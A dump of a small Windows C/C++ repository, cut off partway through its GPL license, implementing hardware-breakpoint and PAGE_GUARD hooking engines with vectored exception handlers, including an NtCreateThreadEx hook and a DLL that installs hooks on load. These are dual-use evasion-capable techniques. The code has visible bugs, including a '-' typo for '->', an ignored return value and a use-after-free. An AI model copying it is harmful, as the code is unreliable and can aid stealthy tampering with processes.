[
  {
    "path": "DRPGG.cpp",
    "content": "//////////////////////////////////////////////////////////////////////////////////////////\n/*                                      DRPGG.cpp - @rad9800                            */\n/*                           C++ PAGE_GUARD/HWBP Breakpoint Library   c++20             */\n//////////////////////////////////////////////////////////////////////////////////////////\n#include <windows.h>\n\n#include <tlhelp32.h>\n#include <functional>\t// std::function \n\n\nusing EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Structs                                     */\n//////////////////////////////////////////////////////////////////////////////////////////\n\ntypedef struct {\n\tUINT\t\t\t\t\t\t\t\t\t\tpos;\n\tEXCEPTION_FUNC\t\t\t\t\t\t\t\tfunc;\n} HWBP_CALLBACK;\n\ntypedef struct {\n\tEXCEPTION_FUNC\t\t\t\t\t\t\t\tfunc;\n} PG_CALLBACK;\n\ntypedef LONG(NTAPI* typeNtCreateThreadEx)(\n\tOUT PHANDLE hThread,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN PVOID ObjectAttributes,\n\tIN HANDLE ProcessHandle,\n\tIN PVOID lpStartAddress,\n\tIN PVOID lpParameter,\n\tIN ULONG Flags,\n\tIN SIZE_T StackZeroBits,\n\tIN SIZE_T SizeOfStackCommit,\n\tIN SIZE_T SizeOfStackReserve,\n\tOUT PVOID lpBytesBuffer\n\t);\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Globals                                     */\n//////////////////////////////////////////////////////////////////////////////////////////\n\n// maintain our address -> lambda function mapping \nstd::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };\nstd::unordered_map<uintptr_t, PG_CALLBACK>\tPG_ADDRESS_MAP{ 0 };\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Funcs                                       */\n//////////////////////////////////////////////////////////////////////////////////////////\n// Find our ret ROP gadget \nuintptr_t FindRetAddr(const uintptr_t function)\n{\n\tBYTE stub[]{ 0xC3 };\n\tfor (unsigned int i = 0; i < (unsigned int)25; i++)\n\t{\n\t\tif (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) {\n\t\t\treturn (function + i);\n\t\t}\n\t}\n\treturn NULL;\n}\n\nVOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init)\n{\n\tCONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };\n\tGetThreadContext(thd, &context);\n\n\tif (init) {\n\t\t(&context.Dr0)[pos] = address;\n\n\t\tcontext.Dr7 &= ~(3ull << (16 + 4 * pos));\n\t\tcontext.Dr7 &= ~(3ull << (18 + 4 * pos));\n\t\tcontext.Dr7 |= 1ull << (2 * pos);\n\t}\n\telse {\n\t\tif ((&context.Dr0)[pos] == address) {\n\t\t\tcontext.Dr7 &= ~(1ull << (2 * pos));\n\t\t\t(&context.Dr0)[pos] = NULL;\n\t\t}\n\t}\n\n\tSetThreadContext(thd, &context);\n}\n\nVOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)\n{\n\tconst DWORD pid{ GetCurrentProcessId() };\n\tconst HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };\n\tif (h != INVALID_HANDLE_VALUE) {\n\t\tTHREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };\n\t\tif (Thread32First(h, &te)) {\n\t\t\tdo {\n\t\t\t\tif ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +\n\t\t\t\t\tsizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {\n\n\t\t\t\t\tconst HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);\n\t\t\t\t\tif (thd != INVALID_HANDLE_VALUE) {\n\t\t\t\t\t\tSetHWBP(thd, address, pos, init);\n\t\t\t\t\t\tCloseHandle(thd);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tte.dwSize = sizeof(te);\n\t\t\t} while (Thread32Next(h, &te));\n\t\t}\n\t\tCloseHandle(h);\n\t}\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                      Exception Handler                               */\n//////////////////////////////////////////////////////////////////////////////////////////\nLONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo)\n{\n\tDWORD old = 0;\n\tif (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION)\n\t{\n\t\tif (PG_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {\n\t\t\tPG_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);\n\t\t}\n\t\tExceptionInfo->ContextRecord->EFlags |= (1 << 8);\n\t\treturn EXCEPTION_CONTINUE_EXECUTION;\n\t}\n\telse if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)\n\t{\n\t\tif (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {\n\t\t\tHWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);\n\t\t\treturn EXCEPTION_CONTINUE_EXECUTION;\n\t\t}\n\t\tfor (const auto& i : PG_ADDRESS_MAP) {\n\t\t\tVirtualProtect((LPVOID)i.first, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);\n\t\t\treturn EXCEPTION_CONTINUE_EXECUTION;\n\t\t}\n\t}\n\treturn EXCEPTION_CONTINUE_SEARCH;\n}\n\nDWORD WINAPI TestThread(LPVOID lpParameter)\n{\n\tUNREFERENCED_PARAMETER(lpParameter);\n\tSleep(500000);\n\n\treturn 0;\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                        Classes                                       */\n//////////////////////////////////////////////////////////////////////////////////////////\ntemplate<typename HANDLER>\nstruct HWBP {\npublic:\n\tHWBP(const uintptr_t address, const UINT idx,\n\t\tconst HANDLER function) : address{ address }, pos{ idx % 4 }\n\t{\n\t\tSetHWBPS(address, pos);\n\n\t\tHWBP_ADDRESS_MAP[address].func = function;\n\t\tHWBP_ADDRESS_MAP[address].pos = pos;\n\t};\n\n\tVOID RemoveHWBPS()\n\t{\n\t\tSetHWBPS(address, pos, false);\n\t\tHWBP_ADDRESS_MAP.erase(address);\n\t}\n\n\t~HWBP()\n\t{\n\t\tRemoveHWBPS();\n\t}\n\nprivate:\n\tconst uintptr_t address;\n\tUINT\t\t\tpos;\n};\n\n\ntemplate<typename HANDLER>\nstruct PGBP {\npublic:\n\tPGBP(const uintptr_t address, const HANDLER function) : old{ 0 }, address{ address }\n\t{\n\n\t\tVirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);\n\n\t\tPG_ADDRESS_MAP[address].func = function;\n\t}\n\n\tVOID RemovePGEntry()\n\t{\n\t\tVirtualProtect((LPVOID)address, 1, old, &old);\n\t\tPG_ADDRESS_MAP.erase(address);\n\t}\n\n\t~PGBP()\n\t{\n\t\tRemovePGEntry();\n\t}\nprivate:\n\tDWORD old;\n\tconst uintptr_t address;\n};\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Entry                                       */\n//////////////////////////////////////////////////////////////////////////////////////////\nint main()\n{\n\tconst PVOID handler{ AddVectoredExceptionHandler(1, ExceptionHandler) };\n\n\tHWBP HWBPSleep{\n\t\t(uintptr_t)&Sleep,\n\t\t1,\n\t\t([&](PEXCEPTION_POINTERS ExceptionInfo) {\n\t\t\tprintf(\"Sleeping %lld\\n\", ExceptionInfo->ContextRecord->Rcx);\n\t\t\tExceptionInfo->ContextRecord->Rcx = 0;\n\t\t\tExceptionInfo->ContextRecord->EFlags |= (1 << 16);\t// continue execution\n\t}) };\n\n\n\tPGBP VEHNtCreateThreadEx{\n\t\t(uintptr_t)GetProcAddress(\n\t\t\tGetModuleHandle(L\"NTDLL.dll\"),\n\t\t\t\"NtCreateThreadEx\"\n\t\t),\n\t([&](PEXCEPTION_POINTERS ExceptionInfo) {\n\n\t\t\t// create a new thread suspended\n\t\t\tLONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(\n\t\t\t\t(PHANDLE)ExceptionInfo->ContextRecord->Rcx,\n\t\t\t\t(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,\n\t\t\t\t(PVOID)ExceptionInfo->ContextRecord->R8,\n\t\t\t\t(HANDLE)ExceptionInfo->ContextRecord->R9,\n\t\t\t\t(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),\n\t\t\t\t(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),\n\t\t\t\t(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,\n\t\t\t\t(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),\n\t\t\t\t(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),\n\t\t\t\t(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),\n\t\t\t\t(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)\n\t\t\t);\n\n\t\t\tCONTEXT context{ 0 };\n\t\t\tcontext.ContextFlags = CONTEXT_DEBUG_REGISTERS;\n\n\t\t\tGetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),\n\t\t\t\t&context);\n\n\t\t\tfor (auto& i : HWBP_ADDRESS_MAP) {\n\t\t\t\t(&context.Dr0)[i.second.pos] = i.first;\n\n\t\t\t\tcontext.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));\n\t\t\t\tcontext.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));\n\t\t\t\tcontext.Dr7 |= 1ull << (2 * i.second.pos);\n\t\t\t}\n\n\t\t\tSetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),\n\t\t\t\t&context);\n\n\t\t\tResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));\n\n\t\t\tExceptionInfo->ContextRecord->Rax = status;\n\n\t\t\tExceptionInfo->ContextRecord->Rip =\n\t\t\t\tFindRetAddr(ExceptionInfo->ContextRecord->Rip);\n\t\t}) };\n\n\n\tSleep(1000000);\n\n\tfor (unsigned int i = 0; i < 2; ++i) {\n\t\tHANDLE t = CreateThread(NULL, 0, TestThread, NULL, 0, NULL);\n\t\tif (t) WaitForSingleObject(t, INFINITE);\n\t}\n\n\tif (handler) RemoveVectoredExceptionHandler(handler);\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                         EOF                                          */\n//////////////////////////////////////////////////////////////////////////////////////////\n"
  },
  {
    "path": "HWBP.c",
    "content": "//////////////////////////////////////////////////////////////////////////////////////////\n/*                                       HWBP.c - @rad9800                              */\n/*                              Multi-thread safe x86/x64 hooking engine                */\n//////////////////////////////////////////////////////////////////////////////////////////\n#include <Windows.h>\n#include <tlhelp32.h>\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Macros                                      */\n//////////////////////////////////////////////////////////////////////////////////////////\n\n#define MALLOC( size ) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size)\n#define FREE( adr ) HeapFree(GetProcessHeap(), 0, adr)\n\n\n#if defined(__x86_64__) || defined(_M_X64)\ntypedef void (__stdcall* exception_callback)(const PEXCEPTION_POINTERS);\n#define EXCEPTION_CURRENT_IP(ei) (ei->ContextRecord->Rip)\n#define EXCEPTION_FIRST_ARG(ei) (ei->ContextRecord->Rcx)\n#define EXCEPTION_SECOND_ARG(ei) (ei->ContextRecord->Rdx)\n#define EXCEPTION_THIRD_ARG(ei) (ei->ContextRecord->R8)\n#define EXCEPTION_FOURTH_ARG(ei) (ei->ContextRecord->R9)\n#define EXCEPTION_FIFTH_ARG(ei) *(PVOID*)(ei->ContextRecord-Rsp + sizeof(PVOID) * 5)\n#define EXCEPTION_SIXTH_ARG(ei) *(PVOID*)(ei->ContextRecord-Rsp + sizeof(PVOID) * 6)\n#define EXCEPTION_SEVENTH_ARG(ei) *(PVOID*)(ei->ContextRecord-Rsp + sizeof(PVOID) * 7)\n#elif defined(i386) || defined(__i386__) || defined(__i386) || defined(_M_IX86)\ntypedef void (__cdecl* exception_callback)(const PEXCEPTION_POINTERS);\n#define EXCEPTION_CURRENT_IP(ei) (ei->ContextRecord->Eip)\n#define EXCEPTION_FIRST_ARG(ei) *(PVOID*)(ei->ContextRecord->Esp + sizeof(PVOID))\n#define EXCEPTION_SECOND_ARG(ei) *(PVOID*)(ei->ContextRecord->Esp + sizeof(PVOID)*2)\n#define EXCEPTION_THIRD_ARG(ei) *(PVOID*)(ei->ContextRecord->Esp + sizeof(PVOID)*3)\n#define EXCEPTION_FOURTH_ARG(ei) *(PVOID*)(ei->ContextRecord->Esp + sizeof(PVOID)*4)\n#define EXCEPTION_FIFTH_ARG(ei) *(PVOID*)(ei->ContextRecord->Esp + sizeof(PVOID)*5)\n#define EXCEPTION_SIXTH_ARG(ei) *(PVOID*)(ei->ContextRecord->Esp + sizeof(PVOID)*6)\n#define EXCEPTION_SEVENTH_ARG(ei) *(PVOID*)(ei->ContextRecord->Esp + sizeof(PVOID)*7)\n#endif\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Typedefs                                    */\n//////////////////////////////////////////////////////////////////////////////////////////\n\nstruct descriptor_entry\n{\n    PVOID adr;\n    unsigned pos;\n    DWORD tid;\n    BOOL dis;\n    exception_callback fun;\n    struct descriptor_entry* next, * prev;\n};\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                       Globals                                        */\n//////////////////////////////////////////////////////////////////////////////////////////\n\nCRITICAL_SECTION g_critical_section;\nstruct descriptor_entry* head = NULL;\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                 Function Definitions                                 */\n//////////////////////////////////////////////////////////////////////////////////////////\n\n/*\n * Function: set_hardware_breakpoint\n * ---------------------------------\n *  sets/removes a hardware breakpoint in the specified debug register for a specific\n *    function address\n *\n *    tid: thread id\n *    address: address of function to point a debug register towards\n *    pos: Dr[0-3]\n *    init: TRUE (Sets)/FALSE (Removes)\n *\n *    return:\n *      BOOL - TRUE/FALSE\n */\nBOOL\nset_hardware_breakpoint(\n    const DWORD tid,\n    const PVOID address,\n    const UINT pos,\n    const BOOL init\n)\n{\n    HANDLE thd = INVALID_HANDLE_VALUE;\n    BOOL ret = FALSE;\n\n    do\n    {\n        CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };\n\n        if (tid == GetCurrentThreadId())\n        {\n            thd = GetCurrentThread();\n        }\n        else\n        {\n            thd = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);\n        }\n\n        if (thd == INVALID_HANDLE_VALUE)\n            break;\n\n        if (!GetThreadContext(thd, &context))\n            break;\n\n        if (init)\n        {\n            (PVOID)(&context.Dr0)[pos] = address;\n            context.Dr7 &= ~(3ull << (16 + 4 * pos));\n            context.Dr7 &= ~(3ull << (18 + 4 * pos));\n            context.Dr7 |= 1ull << (2 * pos);\n        }\n        else\n        {\n            if ((PVOID)(&context.Dr0)[pos] == address)\n            {\n                context.Dr7 &= ~(1ull << (2 * pos));\n                (&context.Dr0)[pos] = 0ull;\n            }\n        }\n\n        if (!SetThreadContext(thd, &context))\n            break;\n\n        ret = TRUE;\n\n    } while (FALSE);\n    \n    if (thd != INVALID_HANDLE_VALUE) CloseHandle(thd);\n\n    return TRUE;\n}\n\n/*\n * Function: set_hardware_breakpoint\n * ---------------------------------\n *  sets/removes a hardware breakpoint in the specified debug register for a specific\n *    function address\n *\n *    address: address of function to point a debug register towards\n *    pos: Dr[0-3]\n *    init: TRUE (Sets)/FALSE (Removes)\n *    tid: Thread ID (0 if to set on all threads)\n *\n *    return:\n *      BOOL - TRUE/FALSE\n */\nBOOL\nset_hardware_breakpoints(\n    const PVOID address,\n    const UINT pos,\n    const BOOL init,\n    const DWORD tid\n)\n{\n    const DWORD pid = GetCurrentProcessId();\n    const HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);\n\n    if (h == INVALID_HANDLE_VALUE)\n        return FALSE;\n\n    THREADENTRY32 te = { .dwSize = sizeof(THREADENTRY32) };\n\n    if (Thread32First(h, &te)) {\n        do {\n            if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +\n                sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {\n                if (tid != 0 && tid != te.th32ThreadID) {\n                    continue;\n                }\n                set_hardware_breakpoint(\n                    te.th32ThreadID,\n                    address,\n                    pos,\n                    init\n                );\n            }\n            te.dwSize = sizeof(te);\n        } while (Thread32Next(h, &te));\n    }\n    CloseHandle(h);\n\n    return TRUE;\n}\n\n/* DLL related functions */\n\n/*\n * Function: insert_descriptor_entry\n * ---------------------------------\n * Instantiates a hardware hook at the supplied address.\n *\n *    adr: address to hook\n *    pos: Dr[0-3]\n *    fun: callback function matching the exception_callback signature\n *    tid: Thread ID (if is 0, will apply hook to all threads)\n *    dis: Disable DR during callback (allows you to call original function)\n */\nBOOL insert_descriptor_entry(\n    const PVOID adr,\n    const unsigned pos,\n    const exception_callback fun,\n    const DWORD tid,\n    const BOOL dis\n)\n{\n    const unsigned idx = pos % 4;\n    struct descriptor_entry* new = MALLOC(sizeof(struct descriptor_entry));\n    if (!new)\n        return FALSE;\n\n    EnterCriticalSection(&g_critical_section);\n\n    new->adr = adr;\n    new->pos = idx;\n    new->tid = tid;\n    new->fun = fun;\n    new->dis = TRUE;\n\n    new->next = head;\n\n    new->prev = NULL;\n\n    if (head != NULL)\n        head->prev = new;\n\n    head = new;\n\n    LeaveCriticalSection(&g_critical_section);\n\n    return set_hardware_breakpoints(\n        adr,\n        idx,\n        TRUE,\n        tid\n    );\n}\n\n/*\n * Function: insert_descriptor_entry\n * ---------------------------------\n *  Removes the hardware breakpoint entry\n *\n *    adr: address to hook\n *    tid: Thread ID (if is 0, will apply hook to all threads)\n *         N.B. the tid must match the originally applied value\n *\n */\nBOOL delete_descriptor_entry(\n    const PVOID adr,\n    const DWORD tid\n)\n{\n    struct descriptor_entry* temp = NULL;\n    unsigned pos = 0;\n    BOOL found = FALSE;\n\n    EnterCriticalSection(&g_critical_section);\n\n    temp = head;\n\n    while (temp != NULL)\n    {\n        if (temp->adr == adr &&\n            temp->tid == tid)\n        {\n            found = TRUE;\n\n            pos = temp->pos;\n            if (head == temp)\n                head = temp->next;\n\n            if (temp->next != NULL)\n                temp->next->prev = temp->prev;\n\n            if (temp->prev != NULL)\n                temp->prev->next = temp->next;\n\n            FREE(temp);\n        }\n\n        temp = temp->next;\n    }\n\n    LeaveCriticalSection(&g_critical_section);\n\n    if (found)\n    {\n        return set_hardware_breakpoints(\n            adr,\n            pos,\n            FALSE,\n            tid\n        );\n    }\n\n    return FALSE;\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                      Exception Handler                               */\n//////////////////////////////////////////////////////////////////////////////////////////\n/*\n * Function: exception_handler\n * -----------------------------------------\n *  hardware breakpoint exception handler required to deal with set debug registers.\n *  initiated by hardware_engine_init and removed by hardware_engine_stop\n *\n */\nLONG WINAPI exception_handler(\n    const PEXCEPTION_POINTERS ExceptionInfo\n)\n{\n    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)\n    {\n        struct descriptor_entry* temp = NULL;\n        BOOL resolved = FALSE;\n\n        EnterCriticalSection(&g_critical_section);\n        temp = head;\n        while (temp != NULL)\n        {\n            if (temp->adr == (PVOID)EXCEPTION_CURRENT_IP(ExceptionInfo))\n            {\n                if (temp->tid != 0 && temp->tid != GetCurrentThreadId())\n                    continue;\n                //\n                // We have found our node, now check if we need to disable current Dr\n                //\n                if (temp->dis)\n                {\n                    set_hardware_breakpoint(\n                        GetCurrentThreadId(),\n                        temp->adr,\n                        temp->pos,\n                        FALSE\n                    );\n                }\n\n                temp->fun(ExceptionInfo);\n\n                //\n                // re-enable dr for our current thread\n                //\n                if (temp->dis)\n                {\n                    set_hardware_breakpoint(\n                        GetCurrentThreadId(),\n                        temp->adr,\n                        temp->pos,\n                        TRUE\n                    );\n                }\n\n                resolved = TRUE;\n            }\n\n            temp = temp->next;\n        }\n        LeaveCriticalSection(&g_critical_section);\n\n        if (resolved)\n        {\n            return EXCEPTION_CONTINUE_EXECUTION;\n        }\n    }\n    return EXCEPTION_CONTINUE_SEARCH;\n}\n\n/*\n * Function: hardware_engine_init\n * ------------------------------\n *  initializes the VEH and critical section\n *\n * returns: handler to the exception handler (can be removed with\n *          RemoveVectoredExceptionHandler.\n */\nPVOID\nhardware_engine_init(\n    void\n)\n{\n    const PVOID handler = AddVectoredExceptionHandler(1, exception_handler);\n    InitializeCriticalSection(&g_critical_section);\n\n    return handler;\n}\n\n/*\n * Function: hardware_engine_stop\n * ------------------------------\n *  Disables all currently set hardware breakpoints, and\n *  clears all the descriptor entries.\n *\n */\nvoid\nhardware_engine_stop(\n    PVOID handler\n)\n{\n    struct descriptor_entry* temp = NULL;\n\n    EnterCriticalSection(&g_critical_section);\n\n    temp = head;\n    while (temp != NULL)\n    {\n        delete_descriptor_entry(temp->adr, temp->tid);\n        temp = temp->next;\n    }\n\n    LeaveCriticalSection(&g_critical_section);\n\n    if (handler != NULL) RemoveVectoredExceptionHandler(handler);\n\n    DeleteCriticalSection(&g_critical_section);\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                       Callbacks                                      */\n//////////////////////////////////////////////////////////////////////////////////////////\n\nvoid sleep_callback_test(const PEXCEPTION_POINTERS ExceptionInfo)\n{\n    Sleep(1000);\n    EXCEPTION_FIRST_ARG(ExceptionInfo) = 0;\n    ExceptionInfo->ContextRecord->EFlags |= (1 << 16);\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Entry                                       */\n//////////////////////////////////////////////////////////////////////////////////////////\n\nint main()\n{\n    const PVOID handler = hardware_engine_init();\n\n    //\n    // 0 to hook all threads \n    // GetCurrentThreadId() for current thread\n    //\n    insert_descriptor_entry(Sleep, 0, sleep_callback_test, 0, TRUE);\n    //insert_descriptor_entry(Sleep, 0, sleep_callback_test, GetCurrentThreadId());\n\n    Sleep(0xDEADBEEF);\n\n    delete_descriptor_entry(Sleep, 0);\n    //delete_descriptor_entry(Sleep, GetCurrentThreadId());\n\n    hardware_engine_stop(handler);\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          EOF                                         */\n//////////////////////////////////////////////////////////////////////////////////////////\n"
  },
  {
    "path": "HWBPP.cpp",
    "content": "//////////////////////////////////////////////////////////////////////////////////////////\n/*                                      HWBPP.cpp - @rad9800                            */\n/*                         C++ Hardware Breakpoint Library (DLL example)                */\n//////////////////////////////////////////////////////////////////////////////////////////\n// dllmain.cpp : Defines the entry point for the DLL application.\n// /std:c++20\n#include \"pch.h\"\n#include <windows.h>\n\n#include <tlhelp32.h>\n#include <functional>\n\nusing EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Structs                                     */\n//////////////////////////////////////////////////////////////////////////////////////////\ntypedef struct {\n\tUINT\t\t\t\t\t\t\t\t\t\tpos;\n\tEXCEPTION_FUNC\t\t\t\t\t\t\t\tfunc;\n} HWBP_CALLBACK;\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Globals                                     */\n//////////////////////////////////////////////////////////////////////////////////////////\n// maintain our address -> lambda function mapping \nstd::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Funcs                                       */\n//////////////////////////////////////////////////////////////////////////////////////////\nVOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init)\n{\n\tCONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };\n\tGetThreadContext(thd, &context);\n\n\tif (init) {\n\t\t(&context.Dr0)[pos] = address;\n\n\t\tcontext.Dr7 &= ~(3ull << (16 + 4 * pos));\n\t\tcontext.Dr7 &= ~(3ull << (18 + 4 * pos));\n\t\tcontext.Dr7 |= 1ull << (2 * pos);\n\t}\n\telse {\n\t\tif ((&context.Dr0)[pos] == address) {\n\t\t\tcontext.Dr7 &= ~(1ull << (2 * pos));\n\t\t\t(&context.Dr0)[pos] = NULL;\n\t\t}\n\t}\n\n\tSetThreadContext(thd, &context);\n}\n\nVOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)\n{\n\tconst DWORD pid{ GetCurrentProcessId() };\n\tconst HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };\n\tif (h != INVALID_HANDLE_VALUE) {\n\t\tTHREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };\n\t\tif (Thread32First(h, &te)) {\n\t\t\tdo {\n\t\t\t\tif ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +\n\t\t\t\t\tsizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {\n\n\t\t\t\t\tconst HANDLE thd = \n\t\t\t\t\t\t\t\t\tOpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);\n\t\t\t\t\tif (thd != INVALID_HANDLE_VALUE) {\n\t\t\t\t\t\tSetHWBP(thd, address, pos, init);\n\t\t\t\t\t\tCloseHandle(thd);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tte.dwSize = sizeof(te);\n\t\t\t} while (Thread32Next(h, &te));\n\t\t}\n\t\tCloseHandle(h);\n\t}\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                      Exception Handler                               */\n//////////////////////////////////////////////////////////////////////////////////////////\nLONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)\n{\n\tif (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)\n\t{\n\t\tif (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {\n\t\t\tHWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);\n\t\t\treturn EXCEPTION_CONTINUE_EXECUTION;\n\t\t}\n\t}\n\treturn EXCEPTION_CONTINUE_SEARCH;\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                        Classes                                       */\n//////////////////////////////////////////////////////////////////////////////////////////\ntemplate<typename HANDLER>\nstruct HWBP {\npublic:\n\tHWBP(const uintptr_t address, const UINT idx,\n\t\tconst HANDLER function) : address{ address } , pos{idx % 4}\n\t{\n\t\tSetHWBPS(address, pos);\n\n\t\tHWBP_ADDRESS_MAP[address].func = function;\n\t\tHWBP_ADDRESS_MAP[address].pos = pos;\n\t};\n\n\tVOID RemoveHWBPS()\n\t{\n\t\tSetHWBPS(address, pos, false);\n\t\tHWBP_ADDRESS_MAP.erase(address);\n\t}\n\n\t~HWBP()\n\t{\n\t\tRemoveHWBPS();\n\t}\n\nprivate:\n\tconst uintptr_t address;\n\tUINT\t\t\tpos;\n};\n\n\n// Global Scope \nHWBP HWBPSleep{ (uintptr_t)&Sleep, 0,\n\t([&](PEXCEPTION_POINTERS ExceptionInfo) { \n\t\tExceptionInfo->ContextRecord->Rcx = 0;\n\t\tExceptionInfo->ContextRecord->EFlags |= (1 << 16);\n}) };\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                          Entry                                       */\n//////////////////////////////////////////////////////////////////////////////////////////\nextern \"C\" \nBOOL APIENTRY DllMain(HANDLE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) \n{\n\tHANDLE handler = NULL;\n    switch (ul_reason_for_call)\n    {\n\tcase DLL_PROCESS_ATTACH: {\n\t\thandler = AddVectoredExceptionHandler(1, ExceptionHandler);\n\t}; break;\n\tcase DLL_THREAD_ATTACH: {\n\t} break;\n\tcase DLL_THREAD_DETACH: {\n\n\t}; break;\n\tcase DLL_PROCESS_DETACH: {\n\t\tif (handler != nullptr) RemoveVectoredExceptionHandler(handler);\n\t}; break;\n    }\n    return TRUE;\n}\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                         EOF                                          */\n//////////////////////////////////////////////////////////////////////////////////////////\n"
  },
  {
    "path": "LICENSE.md",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 2, June 1991\n\n Copyright (C) 1989, 1991 Free Software Foundation, Inc.,\n 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The licenses for most software are designed to take away your\nfreedom to share and change it.  By contrast, the GNU General Public\nLicense is intended to guarantee your freedom to share and change free\nsoftware--to make sure the software is free for all its users.  This\nGeneral Public License applies to most of the Free Software\nFoundation's software and to any other program whose authors commit to\nusing it.  (Some other Free Software Foundation software is covered by\nthe GNU Lesser General Public License instead.)  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthis service if you wish), that you receive source code or can get it\nif you want it, that you can change the software or use pieces of it\nin new free programs; and that you know you can do these things.\n\n  To protect your rights, we need to make restrictions that forbid\nanyone to deny you these rights or to ask you to surrender the rights.\nThese restrictions translate to certain responsibilities for you if you\ndistribute copies of the software, or if you modify it.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must give the recipients all the rights that\nyou have.  You must make sure that they, too, receive or can get the\nsource code.  And you must show them these terms so they know their\nrights.\n\n  We protect your rights with two steps: (1) 